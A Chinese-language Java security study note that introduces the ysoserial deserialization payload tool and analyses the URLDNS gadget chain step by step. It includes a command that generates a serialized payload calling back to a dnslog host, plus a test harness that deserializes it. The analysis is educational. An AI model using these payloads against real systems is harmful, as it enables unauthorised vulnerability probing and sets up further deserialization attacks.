Java代码审计学习笔记之ysoserial分析(一、初探ysoserial+URLDNS分析)

1.ysoserial初探

1.1 ysoserial简介

提到java反序列化首先被提到的就是这个大名鼎鼎的项目——ysoserial。该项目是一个用于生成java反序列化payload的项目。是作者在2015年在Marshalling Pickles: how deserializing objects will ruin your day大会中提出的一个工具。该工具中包含了许多java反序列化的利用链。使用该工具可以快速生成利用java反序列化漏洞的payload。

1.2 编译安装

1.下载项目

git clone https://github.com/frohoff/ysoserial.git

2.下载依赖编译成jar

mvn clean package -DskipTests

编译完成后target目录下即可找到ysoserial-*-SNAPSHOT-all.jar文件。

1.3 使用测试

1.生成一个URLDNS序列化数据

 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://m9utau.dnslog.cn/" > URLDNSSeri.bin

2.使用如下代码测试反序列化结果

import java.io.*;

public class TestURLDNS{
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream fi = new FileInputStream("URLDNSSeri.bin");
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        int data=0;
        while ((data=fi.read())!=-1){
            bao.write(data);
        }
        byte[] dataBytes = bao.toByteArray();
        ByteArrayInputStream bais = new ByteArrayInputStream(dataBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();//执行到这里的时候就会触发一个DNS请求
    }
}

3.可以发现当代码读取ysoserial生成的序列化数据并进行反序列化时,确实触发了一次DNS请求。

2.URLDNS利用链分析

URLDNSysoserial里最简单的利用链,可以看到当生成的序列化数据被反序列化时,就会触发一个dns请求。从而我们可以简单判断出某个输入点可能存在反序列化漏洞。那么我们就从payload的生成过程开始分析。

2.1 ysoserial程序结构

pom.xml文件中我们可以发现ysoserial的mainClass为GeneratePayload

<mainClass>ysoserial.GeneratePayload</mainClass>

GeneratePayload.java的逻辑比较清晰,如下:

    public static void main(final String[] args) {
        ...省略...
        final String payloadType = args[0];//获取类的名字
        final String command = args[1];//获取反序列化后要执行的命令
        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);//获取指定的类的Class
        ...省略...
        try {
            final ObjectPayload payload = payloadClass.newInstance();//实例化指定类
            final Object object = payload.getObject(command);//调用类的getObject方法
            PrintStream out = System.out;
            Serializer.serialize(object, out);//将反序列化结果写入System.out
            ...省略...
        } catch (Throwable e) {
            ...省略...
        }

2.2 URLDNS利用链代码解读

URLDNS.java代码如下:

public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                URLStreamHandler handler = new SilentURLStreamHandler();
                //这里作者单独声明了一个SilentURLStreamHandler主要是为了复写掉getHostAddress方法,否则在 ht.put(u, url); 的时候其实也存在hash计算过程会出发dns请求。
                HashMap ht = new HashMap(); //新建一个hashmap
                URL u = new URL(null, url, handler); //新建一个URL类作为键
                ht.put(u, url);//向HashMap中添加一个URL类型的键
                Reflections.setFieldValue(u, "hashCode", -1); // 其实在put的时候就已经计算了一次hash并保存了缓存,因此这里需要先把这个hashcode替换成-1否则反序列化时将不会再计算hashCode。

                return ht;
        }

        ...省略...


        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;//就是这里复写了getHostAddress方法,防止put时发出DNS请求
                }

        }
}

2.2.1 SilentURLStreamHandler的作用

上述代码中ht.put(u, url);时,调用了hashMap的put方法,如下:

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

其中又调用了hash()方法,代码如下:

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

hash方法中调用了key本身的hashCode方法,这里我们传入的key是一个URL类,因此需要查看一下URL类的hashCode()方法,其代码如下:

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashCode当前URL对象的hashCode!=-1的时候调用该URL对象中,handler对象(URLStreamHandler类)的hashCode方法,代码如下:

    protected int hashCode(URL u) {
        ...省略...
        // Generate the host part.
        InetAddress addr = getHostAddress(u);
       ...省略...

而事实上,关键代码就上面这一行,他会调用getHostAddress方法,发送dns请求获取host对应的ip。因此作者声明了一个SilentURLStreamHandler类,并复写了它的getHostAddress方法,从而防止HashMap调用put时发出dns请求。如果不复写getHostAddress则触发DNS请求调用链如下:

HashMap.putVal()——》HashMap.hash()——》URL.hashCode()——》URLStreamHandler.hashCode()——》URLStreamHandler.getHostAddress()

2.2.2 反序列化触发流程

上述生成的HashMap类中,复写了readObject方法,反序列化时会调用该readObject方法,代码如下:

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        s.defaultReadObject();//执行默认ReadObject方法
       ...省略...
        int mappings = s.readInt(); // 获取映射数量
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            ...省略...
            //读取keys和values,并将其put到HashMap中。
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);//可以看到,这里又是一个熟悉的putVal方法!!后续内容跟前面调用栈就是相同的了
            }
        }
    }

循环中putVal(hash(key), key, value, false, false);代码计算每一个key的hash,前面2.2.1节中分析过URL类计算hash时最终会调用到URLStreamHandler.getHostAddress()从而发起dns请求,本条利用链至此分析结束。